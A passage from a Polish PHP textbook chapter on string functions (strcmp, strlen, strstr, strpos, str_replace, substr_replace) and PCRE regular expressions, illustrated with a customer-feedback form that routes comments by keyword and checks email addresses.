zostaje uporządkowany za (lub jest większy niż) ciag2 w porządku leksykograficznym, strcmp()
zwróci liczbę większą od zera. Jeżeli ciag1 jest mniejszy od ciag2, strcmp() zwróci liczbę
mniejszą od zera. Funkcja uwzględnia wielkość liter.

Warto zwrócić uwagę na to, że takie działanie jest pod pewnymi względami intuicyjne, gdyż
sprawdzanie, czy wynikiem funkcji jest true, czy false, nie pozwoli uzyskać oczekiwanych
efektów. Jeśli oba porównywane łańcuchy są identyczne, to funkcja zwraca 0, więc w razie użycia
kodu o następującej postaci:
if (strcmp($a,$b)) {
...
}

okaże się, że powyższa instrukcja warunkowa zostanie wykonana wyłącznie w przypadku, gdy oba
łańcuchy są różne.

Funkcja strcasecmp() jest identyczna, tyle że nie zwraca uwagi na wielkość liter.

Funkcja strnatcmp() i jej niezwracający uwagi na wielkość liter odpowiednik strnatcasecmp()


porównują łańcuchy znaków w sposób przypominający porządkowanie charakteryzujące ludzkie
myślenie, zwany porządkowaniem naturalnym. Na przykład strcmp() uznałaby łańcuch "2" za
większy od "12", ponieważ jest większy leksykograficznie. Funkcja strnatcmp() rozwiązałaby to
w inny sposób. Więcej informacji na temat porządkowania naturalnego można znaleźć pod adresem
http://www.naturalordersort.org/.

Sprawdzanie długości łańcucha znaków


za pomocą funkcji strlen()
Długość łańcucha znaków można sprawdzić, stosując funkcję strlen(). Jeżeli przekaże się jej łań-
cuch, zwróci ona jego długość. Na przykład echo strlen("cześć"); zwróci 5.

Funkcja ta może zostać zastosowana do sprawdzania poprawności danych. Zwróćmy uwagę na


adres poczty elektronicznej w przykładowym formularzu, przechowywany w zmiennej $email.
Do najprostszych metod sprawdzania poprawności adresu pocztowego należy sprawdzenie jego
długości. Można obliczyć, że najkrótsza możliwa długość adresu wynosi sześć znaków — na przy-
kład a@a.pl, jeżeli w kraju nie występują domeny drugiego poziomu, to jednoliterowa nazwa serwe-
ra i jednoliterowy adres. Tak więc adres krótszy niż sześcioliterowy jest na pewno błędny:
if (strlen($email) < 6) {
echo 'Niepoprawny adres poczty elektronicznej';
exit; //zatrzymanie wykonania skryptu PHP
}

To oczywiście bardzo uproszczony sposób sprawdzania poprawności danych. W następnym podroz-


dziale zostaną przedstawione lepsze metody.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 129

Dopasowywanie i zamiana łańcuchów znaków


za pomocą funkcji łańcuchowych
Często występuje konieczność sprawdzenia obecności konkretnego fragmentu w dłuższym łańcu-
chu znaków. To częściowe porównanie jest zazwyczaj bardziej przydatne niż sprawdzanie
pełnej równości.

W przykładowym Inteligentnym Formularzu należy szukać w komentarzach klientów konkret-


nych wyrażeń kluczowych i na ich podstawie wybierać oddziały firmy, do których zostaną przesłane
komentarze. Na przykład listy zawierające słowo „sklep” (lub jego synonimy) powinny być wysyła-
ne do menedżera sprzedaży.

Wykorzystując poprzednio opisane funkcje, można użyć explode() lub strtok(), aby wycią-
gnąć pojedyncze słowa z wiadomości, po czym porównać ją za pomocą operatora == lub funkcji
strcmp().

Można jednak wykonać te same działania, stosując pojedyncze odwołanie do funkcji dopasowującej
łańcuchy znaków lub wyrażenia regularne. Służą one do wyszukiwania pewnego wzorca w łańcu-
chu. W poniższych punktach zostały one kolejno opisane.

Znajdowanie fragmentów w łańcuchach znaków


— funkcje strstr(), strchr(), strrchr() i stristr()
Aby odnaleźć jeden łańcuch znaków wewnątrz innego, można zastosować jedną z następujących
funkcji: strstr(), strchr(), strrchr() lub stristr().

Funkcja strstr(), najbardziej ogólna, może być stosowana do odnajdywania łańcucha lub
znaku w dłuższym łańcuchu znaków. Należy zauważyć, że w PHP funkcja strchr() działa tak
samo jak strstr(), chociaż z jej nazwy wynikałoby, że jest ona używana do odnajdywania znaku
w łańcuchu, podobnie jak wersja tej funkcji w języku C. W PHP każda z tych funkcji może być
stosowana do odnajdywania łańcucha znaków w innym, włączając w to łańcuchy zawierające
tylko jeden znak.

Prototyp funkcji strstr() jest następujący:


string strstr(string stog, string igla [, bool przed_igla = false]);

Funkcji należy przekazać łańcuch znaków stog, który ma zostać przeszukany, oraz łańcuch igla,
który ma być odnaleziony. Jeżeli zostanie odnaleziony łańcuch dokładnie pasujący do igla,
funkcja zwraca fragment stog rozpoczynający się od igla, a w przeciwnym wypadku — false.
Jeżeli igla pojawia się więcej niż jeden raz, zwrócony łańcuch znaków będzie się rozpoczynał
od pierwszego jej wystąpienia. Jeśli parametr przed_igla przyjmie wartość true, to funkcja zwróci
fragment łańcucha przed wystąpieniem łańcucha określonego parametrem igla.

Na przykład w aplikacji Inteligentnego Formularza można zdecydować, na jaki adres zostanie


wysłany komentarz:
$adresdo = 'komentarze@przyklad.com'; //wartość domyślna
//Zmiana $adresdo jeżeli spełnione są kryteria
if (strstr($komentarz, 'sklep'))
$adresdo = 'sprzedaz@przyklad.com';
130 Część I  Stosowanie PHP

else if (strstr($komentarz, 'dostawy'))


$adresdo = 'dostawy@przyklad.com';
else if (strstr($komentarz, 'rachunek'))
$adresdo = 'ksiegowosc@przyklad.com';

Powyższy kod szuka konkretnych słów kluczowych w komentarzu i rozsyła listy do odpowiednich
osób. Jeżeli na przykład w komentarzu klienta znajduje się zdanie: „Wciąż nie otrzymałem mojej
dostawy”, zostanie wykryty łańcuch "dostawy". Komentarz zostanie następnie przesłany na adres
dostawy@przyklad.com.

Istnieją dwa warianty funkcji strstr(). Pierwszy z nich to stristr(), która to funkcja działa
praktycznie identycznie, lecz nie zwraca uwagi na wielkość liter. Własność ta jest przydatna w apli-
kacjach, w których klient może napisać na przykład "dostawy", "Dostawy" lub "DOSTAWY" — albo to
samo słowo zapisane dowolną inną kombinacją znaków o różnej wielkości.

Drugim wariantem jest funkcja strrchr(). Działa ona podobnie, lecz zwraca fragment stog, który
rozpoczyna się od ostatniego wystąpienia igla. Poza tym poszukuje ona tylko jednego znaku
(pierwszego znaku łańcucha przekazanego jako parametr igla), co jest nieco zagadkowe.

Odnajdywanie pozycji fragmentu łańcucha


— funkcje strpos() i strrpos()
Funkcje strpos() i strrpos() działają w podobny sposób jak strstr(), lecz zwracają numeryczną
pozycję igla w stog. Autorzy podręcznika PHP zalecają, by sprawdzania obecności jednego łańcu-
cha znaków w drugim dokonywano przy użyciu funkcji strpos() zamiast strstr(), ponieważ
działa ona szybciej.

Funkcja strpos() posiada następujący prototyp:


int strpos(string stog, string igla [, int offset=0]);

Zwracana liczba (integer) opisuje pozycję pierwszego wystąpienia igla w stog. Pierwszy znak
jak zwykle posiada pozycję 0.

Na przykład następujący kod wyświetli w przeglądarce wartość 3:


$test "Cześć, świecie";
echo strpos($test, "ś");

W tym przypadku funkcji jako igla została przekazana jedna litera, lecz może być to także łańcuch
znaków dowolnej długości.

Opcjonalny parametr offset jest stosowany w celu podania pozycji, począwszy od której stóg ma
być przeszukiwany. Na przykład
echo strpos($test, 'ś', 4);

wyświetli w przeglądarce wartość 6, ponieważ PHP zaczął przeszukiwanie od pozycji 4, a więc


pominął pozycję 3.

Funkcja strrpos() jest niemal identyczna, lecz zwraca pozycje ostatniego wystąpienia igla w stog.

W każdym z tych przypadków, jeżeli igla nie jest łańcuchem, strpos() i strrpos() zwrócą false.
Może to stwarzać problemy, ponieważ w językach o słabym typowaniu, takich jak PHP, false
jest w wielu kontekstach równoznaczne z 0 — położeniem pierwszego znaku łańcucha.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 131

Można uniknąć tego problemu, stosując operator ===, który sprawdza zwracane wartości:
$wynik = strpos($test, "C");
if ($wynik === false) {
echo "Nie znaleziono";
} else {
echo "Znaleziono na pozycji 0";
}

Zamiana fragmentów łańcucha znaków


— funkcje str_replace() i substr_replace()
Możliwość funkcjonalna typu znajdź-i-zamień może być niezwykle użyteczna przy pracy z łańcu-
chami znaków. Znajdowanie i zamianę można wykorzystywać w celu personalizowania dokumen-
tów generowanych przez PHP — na przykład przez zamianę <nazwisko> na nazwisko osoby
i <adres> na jej adres. Mechanizmy te można również stosować przy cenzurowaniu konkretnych
tematów, na przykład w dyskusji na forum, a nawet w aplikacji Inteligentnego Formularza.
Powtórzmy jeszcze raz: w tym celu można wykorzystać funkcje łańcuchowe lub funkcje wyrażeń
regularnych.

Zgodnie z informacjami podanymi we wcześniejszej części rozdziału funkcją najczęściej stosowaną


do zamiany jest str_replace(). Posiada ona następujący prototyp:
mixed str_replace(mixed igla, mixed nowa_igla, mixed stog [, int &ile]);

Funkcja ta zamienia wszystkie elementy igla znalezione w stog na nowa_igla i zwraca nową wersję
stog. Opcjonalny czwarty parametr ile wskazuje liczbę znaków, które mają zostać zastąpione.

Wszystkie parametry można przekazywać jako tablice, a funkcja str_replace() zachowa


się w inteligentny sposób. Można przekazać tablicę słów, które mają zostać zastąpione,
tablicę słów, które mają je (w podanej kolejności) zastąpić, oraz tablicę łańcuchów
znaków, względem których te zasady mają być zastosowane. Funkcja zwróci w takiej
sytuacji tablicę zmienionych łańcuchów znaków.

Na przykład klienci mogą używać Inteligentnego Formularza, wnosząc skargi, w których wystę-
pują niecenzuralne słowa. Aby chronić pracowników Janka przed obrazą, można zdefiniować
tablicę $cenzura, zawierającą słowa niecenzuralne. Poniżej znajduje się przykład, w którym użyto
funkcji str_replace() i tej tablicy:
$komentarz = str_replace($cenzura, '%!@*', $komentarz);

Funkcja substr_replace() jest stosowana do odnajdywania i zamiany konkretnego fragmentu łańcu-


cha. Posiada ona następujący prototyp:
string substr_replace(mixed ciag, mixed zamiennik, mixed start [, mixed [dlugosc]);

Funkcja zamienia część łańcucha znaków ciag na łańcuch zamiennik. To, którą z nich obejmie
modyfikacja, zależy od parametru start i opcjonalnego dlugosc.

Wartość parametru start przedstawia offset w łańcuchu, gdzie powinna rozpocząć się zamiana.
Jeżeli wynosi ona 0 lub jest wartością dodatnią, jej pozycję liczy się od początku łańcucha; jeśli
jest ujemna, offset liczy się od końca łańcucha. Na przykład poniższy wiersz kodu zamieni ostatni
znak w $test na X:
$test = substr_replace($test, 'X', -1);

Parametr dlugosc jest opcjonalny i opisuje punkt, w którym PHP powinien zakończyć zamianę.
Jeżeli nie zostanie on podany, łańcuch znaków zostanie zamieniony od pozycji start do końca.
132 Część I  Stosowanie PHP

Jeżeli dlugosc wynosi 0, zamiennik zostanie wstawiony do łańcucha bez nadpisania istnieją-
cej zawartości. Dodatnia wartość parametru dlugosc przedstawia liczbę znaków, które mają być
zamienione na nowy łańcuch. Ujemna wartość parametru dlugosc opisuje pozycję, liczoną od końca
łańcucha, w której powinna zakończyć się zamiana.

Podobnie jak funkcji str_replace(), także substr_replace() można używać, przekazując do niej
zestaw tablic.

Wprowadzenie do wyrażeń regularnych


PHP rozpoznaje dwa style składni wyrażeń regularnych: POSIX i Perl. Obydwa style składni wyra-
żeń regularnych są domyślnie wkompilowane i dostępne w PHP, a począwszy od wersji 5.3 języka,
styl POSIX jest uznawany za przestarzały.

W przedstawionych dotychczas operacjach zamian zostały wykorzystane funkcje łańcuchowe.


Powodowało to ograniczenie do dokładnego dopasowania łańcucha znaków lub jego fragmentu.
Aby posłużyć się bardziej złożonym dopasowywaniem wzorców, należy zastosować wyrażenia
regularne. Zagadnienia związane z wyrażeniami regularnymi trudno na początku opanować, lecz
okazują się one niekiedy bardzo użyteczne.

Podstawy
Wyrażenie regularne to sposób opisywania wzorca we fragmencie tekstu. Prezentowane wcześniej
dosłowne dopasowania są pewną formą wyrażeń regularnych. Na przykład powyżej jest przed-
stawione poszukiwanie wyrażeń regularnych, takich jak sklep i dostawy.

Dostosowywanie wyrażeń regularnych w PHP jest bardziej podobne do funkcji strstr() niż do do-
kładnego porównania, ponieważ dopasowuje się pewien łańcuch znaków wewnątrz innego (może się
on znajdować gdziekolwiek w dłuższym łańcuchu, chyba że zostanie to ustawione). Na przykład
łańcuch sklep pasuje do wyrażenia regularnego sklep, ale również do wyrażeń regularnych k, kl itp.

Możliwe jest również stosowanie, oprócz dokładnego dopasowania, specjalnych znaków wska-
zujących metaznaczenie. Na przykład za pomocą znaków specjalnych można wskazać, że wzo-
rzec musi pojawić się na początku lub na końcu łańcucha, że część wzorca może się powtarzać
lub że znaki wzorca muszą należeć do określonego typu. Można również połączyć dokładne
występowania znaków specjalnych.

Ograniczniki
W przypadku wyrażeń regularnych PCRE każde wyrażenie musi zostać zapisane pomiędzy parą
specjalnych znaków — tak zwanych ograniczników. Mogą to być dowolne znaki, z wyjątkiem liter,
cyfr, znaku lewego ukośnika oraz odstępu. Ogranicznik umieszczony na końcu wyrażenia musi
być taki sam jak ten umieszczony na początku.

Najczęściej używanym ogranicznikiem jest znak ukośnika (/). A zatem wyrażenie regularne pasujące
do słowa sklep należałoby napisać tak, jak pokazano w poniższym przykładzie:
/sklep/

Jeśli konieczne jest dopasowanie znaku ukośnika (/), to trzeba go poprzedzić znakiem lewego
ukośnika (\), jak w poniższym przykładzie:
/http:\/\//
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 133

Jeżeli w tworzonym wyrażeniu wybrany ogranicznik występuje wiele razy, to można się zastanowić
nad wybraniem innego. W przykładzie zaprezentowanym powyżej zamiast ukośnika można by
użyć jako ogranicznika znaku #, a wtedy wyrażenie regularne mogłoby przyjąć następującą postać:
#http://#

Czasami może się także pojawić potrzeba dodania za ogranicznikiem modyfikatora wzorca. Oto
przykład:
/sklep/i

W tym przypadku wyrażenie byłoby dopasowywane bez uwzględniania wielkości liter. Bez
wątpienia jest to najczęściej używany modyfikator; inne modyfikatory można znaleźć w doku-
mentacji PHP.

Zbiory i klasy znaków


Stosowanie zbiorów znaków natychmiast daje wyrażeniu regularnemu moc większą niż posiada
dokładne dopasowywanie wyrażeń. Zbiory znaków mogą być stosowane tak, by pasowały do każ-
dego znaku określonego typu — są to w zasadzie znaki wieloznaczne.

Po pierwsze, znak . może być stosowany jako wieloznacznik dla każdego innego znaku poza zna-
kiem nowego wiersza (\n). Na przykład wyrażenie regularne:
/.łot/

pasuje do wyrażeń "płot", "młot" itp. Ten rodzaj dostosowywania wieloznaczników jest często
używany do dopasowywania nazw plików w systemach operacyjnych.
Stosując wyrażenia regularne, można jednak znacznie dokładniej opisać typ znaku, do którego
będzie tworzone dopasowanie. Można również określić zbiór, do którego znak musi należeć. W po-
przednim przykładzie wyrażenie regularne pasuje do wyrażeń "młot" i "płot", ale także do "#łot".
Aby ograniczyć dopasowywane znaki do tych zakresu od a do z, należy dodać następujący kod:
/[a–z]ot/

Wszystkie dane zawarte w nawiasach kwadratowych ([ i ]) są nazywane klasą znaków, czyli


zbiorem znaków, do których musi należeć dopasowywany znak. Należy zauważyć, że wyrażenie
w nawiasach kwadratowych odnosi się tylko do pojedynczego znaku.

Można również po prostu wyliczyć elementy zbioru. Na przykład:


/[aeiouy]/

oznacza dowolną samogłoskę.

Można również określić zakres, jak zostało to uczynione w poprzednim przykładzie, stosując
specjalny znak łącznika, a także zbiór zakresów:
/[a–zA–Z]/

Ten zbiór zakresów oznacza każdy znak alfabetu niezależnie od wielkości litery.

Można również zastosować zbiory do określenia, które znaki nie mogą być elementami zbioru.
Na przykład:
/[^a–z]/
134 Część I  Stosowanie PHP

dopasowuje każdy znak, który nie pochodzi z zakresu pomiędzy a i z. Znak karetki (^, nazywany
także akcentem przeciągłym) oznacza nie, kiedy jest umieszczony w nawiasach kwadratowych.
Poza nimi posiada inne znaczenie, opisane poniżej.

Ponadto oprócz wyliczania zbiorów i zakresów istnieje pewna ilość predefiniowanych klas znaków,
które mogą być użyte w wyrażeniach regularnych. Zostały one przedstawione w tabeli 4.5.

Tabela 4.5. Klasy znaków stosowane w stylu wyrażeń regularnych RCRE

Klasa Dopasowania
[[:alnum:]] Znaki alfanumeryczne
[[:alpha:]] Znaki alfabetu
[[:ascii:]] Znaki ASCII
[[:lower:]] Małe litery
[[:upper:]] Wielkie litery
[[:word:]] Znaki tworzące słowa (litery, cyfry i znak podkreślenia)
[[:digit:]] Liczby dziesiętne
[[:xdigit:]] Liczby szesnastkowe
[[:punct:]] Znaki przestankowe
[[:blank:]] Tabulatory i spacje
[[:space:]] Znaki odstępu
[[:cntrl:]] Znaki kontrolne
[[:print:]] Wszystkie możliwe do wyświetlenia znaki
[[:graph:]] Wszystkie możliwe do wyświetlenia znaki poza spacjami

Koniecznie należy zapamiętać, że zewnętrzna para nawiasów klamrowych ogranicza klasę, a we-
wnętrzna para wchodzi w skład jej nazwy. Na przykład:
/[[:alpha]1-5]/

To wyrażenie opisuje klasę, która może zawierać literę lub cyfrę z zakresu od 1 od 5.

Powtarzalność
Często konieczne jest określenie kilkukrotnego występowania konkretnego łańcucha bądź klasy
znaków. Można to przedstawić, stosując trzy znaki specjalne w wyrażeniach regularnych. Symbol *
oznacza, że wzorzec może powtórzyć się zero bądź więcej razy, a symbol + — jeden lub więcej
razy. W końcu symbol ? określa, że wzorzec powinien wystąpić dokładnie jeden raz lub nie
powinien wystąpić w ogóle. Symbol ten powinien pojawić się bezpośrednio po tej części wyraże-
nia, do której się odnosi. Na przykład:
/[[:alnum:]]+/

oznacza „co najmniej jeden znak alfanumeryczny”.


Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 135

Podwyrażenia
Często użyteczna jest możliwość rozdzielenia wyrażenia na podwyrażenia, na przykład w celu
przedstawienia „co najmniej jednego z tych łańcuchów, a następnie dokładnie tego”. Wyrażenia
można rozdzielić stosując nawiasy, w taki sam sposób jak w wyrażeniach arytmetycznych. Na
przykład
/(bardzo )*dużo/

pasuje do "dużo", "bardzo dużo", "bardzo bardzo dużo" itd.

Podwyrażenia policzalne
Możliwe jest określenie liczby powtórzeń danego łańcucha znaków poprzez zastosowanie wyra-
żenia numerycznego w nawiasach klamrowych ({}). Można przekazać dokładną liczbę powtórzeń
({3} oznacza dokładnie trzy powtórzenia), zakres powtórzeń ({2, 4} oznacza od dwu do czterech
powtórzeń) lub otwarty zakres powtórzeń ({2,} oznacza co najmniej dwa powtórzenia).

Na przykład:
/(bardzo ){1,3}/

pasuje do "bardzo", "bardzo bardzo" i "bardzo bardzo bardzo".

Kotwiczenie na początku lub na końcu łańcucha znaków


Zgodnie z podanymi wcześniej informacjami wzorzec /[a-z]/ będzie pasował do każdego łańcu-
cha znaków zawierającego małą literę alfabetu. Nie ma przy tym znaczenia, czy łańcuch ten
zawiera tylko jeden znak, czy też poszukiwany znak jest jednym z wielu w dłuższym łańcuchu.

Można również określić, czy konkretne podwyrażenie powinno pojawić się na początku, na
końcu, czy też w obu miejscach. Jest to bardzo użyteczne przy upewnianiu się, czy w łańcuchu
nie pojawia się nic więcej poza szukaną frazą.

Symbol ^ jest stosowany na początku wyrażenia regularnego w celu wskazania, że musi się ono
pojawić na początku szukanego łańcucha znaków. Symbol $ jest umieszczany na końcu wyrażenia
regularnego, aby pokazać, że musi się ono pojawić na końcu łańcucha.

Na przykład poniższe wyrażenie odpowiada wyrazowi janek na początku łańcucha:


/^janek/

Następujące wyrażenie pasuje do com na końcu łańcucha:


/com$/

A poniższe wyrażenie pasuje do każdego pojedynczego znaku z zakresu od a do z, jako osobnego


łańcucha znaków:
/^[a – z]$/

Rozgałęzianie
Możliwość wyboru w wyrażeniach regularnych oznacza się znakiem |. Na przykład aby wyrażenie
pasowało do com, edu lub net, można zastosować wyrażenie:
/com|edu|net/
136 Część I  Stosowanie PHP

Dopasowywanie specjalnych znaków literowych


Aby dopasować jeden lub więcej ze znaków specjalnych wymienionych w poprzednim podroz-
dziale, takich jak ., {, lub $, należy umieścić przed nimi ukośnik (\). W celu przedstawienia symbolu
ukośnika należy go zastąpić dwoma ukośnikami (\\).

Należy pamiętać, by wzorcowe wyrażenia regularne umieszczać w PHP w apostrofach. Używanie


w PHP wyrażeń regularnych w cudzysłowach stanowi niepotrzebne utrudnienie. W PHP używa
się również znaków ukośnika w celu ucieczki od znaków specjalnych, takich jak lewy ukośnik.
Aby dopasować wzorzec do znaku lewego ukośnika, należy wpisać dwa takie znaki, wskazując,
że jest to zwykły znak lewego ukośnika, a nie znak ucieczki.

Analogicznie, jeżeli chcemy umieścić znak lewego ukośnika w łańcuchu znaków umieszczo-
nym w cudzysłowie, również z tego samego powodu trzeba wpisać dwa takie znaki. Ostatecznie
trochę niecodziennym efektem stosowania tych reguł jest to, że w PHP łańcuch znaków reprezentu-
jący wyrażenie regularne zawierające zwykły znak lewego ukośnika musi zawierać cztery lewe
ukośniki. Interpreter PHP odczyta cztery takie znaki jako dwa lewe ukośniki, natomiast interpreter
wyrażeń regularnych potraktuje obydwa lewe ukośniki jako jeden.

Również znak dolara jest znakiem specjalnym w łańcuchach znaków PHP zapisanych w cudzy-
słowach oraz wyrażeniach regularnych. Aby móc dopasowywać znak $ we wzorcu, należałoby
napisać "\\\$". Łańcuch ten znajduje się w cudzysłowach, dlatego PHP odczyta go jako \$,
a interpreter wyrażeń regularnych dopasuje go do znaku dolara.

Podsumowanie metaznaków
Podsumowanie wszystkich znaków specjalnych — nazywanych także metaznakami — jest przed-
stawione w tabelach 4.6 i 4.7. Tabela 4.6 ukazuje znaczenie znaków specjalnych umieszczonych
poza nawiasami kwadratowymi, a tabela 4.7 znaczenie znaków w nawiasach.

Tabela 4.6. Podsumowanie znaków specjalnych stosowanych w wyrażeniach regularnych PCRE umieszczonych
poza nawiasami kwadratowymi

Znak Znaczenie
\ Znak ucieczki
^ Dopasowanie na początku łańcucha
$ Dopasowanie na końcu łańcucha
. Dopasowanie do każdego znaku oprócz nowego wiersza
| Start alternatywnych rozgałęzień (jak OR)
( Początek fragmentu łańcucha
) Koniec fragmentu łańcucha
* Powtórzenie zero lub więcej razy
+ Powtórzenie jeden lub więcej razy
{ Początek minimalnego/maksymalnego kwantyfikatora
} Koniec minimalnego/maksymalnego kwantyfikatora
? Oznaczenie podwzorca jako opcjonalnego
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 137

Tabela 4.7. Podsumowanie znaków specjalnych stosowanych w wyrażeniach regularnych PCRE


umieszczonych w nawiasach kwadratowych

Znak Znaczenie
\ Znak ucieczki
^ NOT, jeżeli użyte przed wyrażeniem

- Stosowany do określeń zakresu znaków

Sekwencje specjalne
Sekwencje specjalne są częścią wzorca zaczynającą się od znaku lewego ukośnika. Istnieje kilka
kategorii tych sekwencji.
Po pierwsze, znak lewego ukośnika może zostać użyty do oznaczenia jednego z metaznaków, zgod-
nie z informacjami podanymi w dwóch poprzednich punktach rozdziału.
Po drugie, znak lewego ukośnika jest używany jako początek zestawu sekwencji znakowych repre-
zentujących znaki, które nie posiadają reprezentacji graficznej. Kilka takich znaków zostało już
przedstawionych w innych kontekstach; należą do nich między innymi \n (znak nowego wiersza), \r
(znak powrotu karetki) czy też \t (znak tabulacji). Inne popularne sekwencje znakowe to \cx,
reprezentująca kombinację Ctrl+x (gdzie x jest dowolnym znakiem), oraz \e, reprezentująca znak
ucieczki.
I w końcu po trzecie, znak lewego ukośnika może stanowić początek jednego z ogólnych typów
znaków, które zostały przedstawione w tabeli 4.8.

Tabela 4.8. Ogólne typy znaków w wyrażeniach regularnych PCRE

Typ znaku Znaczenie

\d Cyfra dziesiętna

\D Wszystko, co nie jest cyfrą dziesiętną

\h Odstęp poziomy
\H Wszystko, co nie jest odstępem poziomym

\s Odstęp
\S Dowolny znak niebędący odstępem

\v Odstęp pionowy

\V Dowolny znak niebędący odstępem pionowym

\w Dowolna litera, cyfra lub znak podkreślenia


\W Dowolny znak oprócz litery, cyfry i znaku podkreślenia

Dwa typy znaków wymienione na samym końcu tabeli 4.8 to tak zwane znaki tworzące słowa.
Jednak trzeba zauważyć, że w razie stosowania dopasowywania korzystającego z ustawień lokal-
nych ten typ będzie rozszerzany o znaki charakterystyczne dla danych ustawień lokalnych, na
przykład o znaki diakrytyczne lub znaki z akcentami.
Znak lewego ukośnika ma jeszcze dwa inne zastosowania. Pierwszym z nich są odwołania wsteczne,
a drugim asercje; zostaną one opisane w kolejnych punktach rozdziału.
138 Część I  Stosowanie PHP

Odwołania wsteczne
Odwołania wsteczne to coś, przy czym poddają się wszyscy, z wyjątkiem wytrawnych programi-
stów języka Perl. Okazuje się jednak, że nie są one aż tak bardzo złożone.

Odwołania wsteczne we wzorcu są oznaczane znakiem lewego ukośnika oraz cyfrą (może nawet
więcej niż jedną, zależnie od kontekstu). Są one używane do dopasowywania tego samego podwyra-
żenia w więcej niż jednym miejscu łańcucha bez jawnego określania postaci tego podwyrażenia.
Na przykład w poniższym wzorcu:
/^([a-z]+) \1 czarna owca/

fragment \1 jest odwołaniem wstecznym do podwyrażenia dopasowanego wcześniej — czyli


do ([a-z]+) — które reprezentuje jeden lub więcej znaków alfanumerycznych.
Takie wyrażenie będzie można dopasować do łańcucha znaków:
mee mee czarna owca

lecz do następującego łańcucha nie uda się już go dopasować:


mee mue czarna owca

Wynika to z tego, że odwołanie wsteczne sprowadza się w zasadzie do stwierdzenia: „znajdź frag-
ment dopasowany do poprzedniego podwyrażenia i dopasuj go w identycznej postaci jeszcze raz”.

Jeśli we wcześniejszej części wyrażenia regularnego pojawiło się więcej podwyrażeń, to są one
numerowane kolejno, zaczynając od 1, i takiej numeracji należy używać w odwołaniach wstecznych.

Asercje
Asercje służą do sprawdzania, czy jakieś znaki w łańcuchu zostały dopasowane bez faktycznego
dopasowywania jakichkolwiek znaków. Zasadę działania asercji trudno jest zrozumieć bez
podania odpowiedniego przykładu. Dostępne asercje rozpoczynające się od znaku lewego ukośni-
ka zostały podane w tabeli 4.9.

Tabela 4.9. Asercje dostępne w wyrażeniach regularnych PCRE

Asercja Znaczenie

\b Granica słowa
\B Dowolny znak oprócz granicy słowa
\A Początek tematu
\z Koniec tematu
\Z Koniec tematu lub znak nowego wiersza na końcu
\G Pierwsza dopasowana pozycja w temacie

Granice słów to miejsca, w których znaki tworzące słowa (zdefiniowane w poprzednim punkcie
rozdziału) sąsiadują z innymi znakami.
Asercje początku i końca przypominają nieco metaznaki ^ oraz $, z tą różnicą, że niektóre opcje
konfiguracyjne zmieniają znaczenie tych metaznaków, a działanie asercji \A, \z oraz \Z nigdy
nie ulega zmianie.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 139

Asercja pierwszej dopasowanej pozycji (\G) jest podobna do asercji początku, lecz używa się jej
w przypadku, gdy dopasowywanie zaczyna się z jakimś przesunięciem, na co pozwalają niektóre
funkcje obsługi wyrażeń regularnych. Na przykład jeśli przesunięcie wynosi 5, a pierwszy fragment
odnaleziony na pozycji 5. jest dopasowaniem, to asercja \G zostanie spełniona, spełnienie asercji \A
będzie natomiast zależeć od tego, co zostanie znalezione na pozycji 1.

Wykorzystanie wszystkich zdobytych informacji


— inteligentny formularz
Istnieją co najmniej dwie możliwości zastosowania wyrażeń regularnych. Pierwsza z nich to
wykrywanie określonych terminów w przykładowym komentarzu. Gdy znamy wyrażenia regularne,
możemy tę czynność nieco usprawnić. Kiedy stosowane były funkcje łańcuchowe, należało
przeprowadzić trzy osobne przeszukiwania słów "sklep", "obsługa klienta" lub "sprzedaż".
Stosując wyrażenie regularne, można dokonać tego za pomocą jednego wiersza kodu:
/sklep|obsługa klienta|sprzedaż/

Drugim możliwym zastosowaniem jest sprawdzenie poprawności adresu pocztowego klienta


poprzez zakodowanie standardowego formatu adresu w wyrażeniu regularnym. Format zawiera
kilka znaków alfanumerycznych lub interpunkcyjnych, następnie symbol @, później łańcuch znaków
alfanumerycznych i łączników, następnie kropki, kolejne znaki alfanumeryczne i łączniki oraz
przypuszczalnie więcej kropek, aż do końca łańcucha, którego kod jest następujący:
/^[a-zA-Z0-9_\-.]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-.]+$/

Podwyrażenie ^[a-zA-Z0-9_\-.]+ oznacza: „początek łańcucha to przynajmniej jedna litera, cyfra


lub znak podkreślenia albo też kombinacja tych znaków”. Zwróćmy uwagę, że gdy znak kropki
znajduje się na początku lub końcu klasy znaków, traci on swą cechę wieloznaczności i staje się
dosłownym znakiem kropki.

Symbol @ oznacza dosłownie @.

Podwyrażenie [a-zA-Z0-9\-]+, zawierające znaki alfanumeryczne i łączniki, pasuje do pierwszej


części nazwy serwera. Należy zauważyć, że łącznik następuje po ukośniku, ponieważ w nawiasach
kwadratowych ma status znaku specjalnego.

Kombinacja \. Oznacza po prostu kropkę (.). Znak kropki został użyty poza klasą znaków, zatem
trzeba go poprzedzić znakiem ucieczki w celu dopasowania go wyłącznie do dosłownego znaku
kropki.

Podwyrażenie [a-zA-Z0-9\-.]+$ pasuje do reszty nazwy domeny — zawiera litery, cyfry, łączniki
oraz, jeżeli to konieczne, więcej kropek, i tak do końca łańcucha.

Nietrudno jednak zauważyć, że niektóre niepoprawne adresy pocztowe nadal pasują do tego wyra-
żenia regularnego. Właściwie nie sposób je wszystkie wyłapać, lecz powyższe wyrażenie poprawi
nieco sytuację. Można je dalej ulepszać na wiele sposobów. Można na przykład podać listę po-
prawnych domen najwyższego poziomu (ang. Top Level Domains — TLD). Wprowadzając
restrykcyjne ograniczenia, trzeba jednak uważać, gdyż funkcja odrzucająca 1% poprawnych danych
może narobić o wiele więcej szkód niż funkcja, która zaakceptuje 10% danych niewłaściwych.

Teraz, po opisaniu wyrażeń regularnych PHP, przedstawimy funkcje PHP z ich zastosowaniem.
140 Część I  Stosowanie PHP

Odnajdywanie fragmentów łańcuchów


za pomocą wyrażeń regularnych
Odnajdywanie fragmentów łańcuchów znaków jest głównym zastosowaniem wyrażeń regularnych.
PHP udostępnia wiele różnych funkcji obsługujących wyrażenia regularne PCRE, przy czym najczę-
ściej używaną z nich jest preg_match(). Poniżej przedstawiony został jej prototyp:
int preg_match(string wzorzec, string szukaj, array dopasowania [, int flagi=0 [, int
przesuniecie=0]]]);

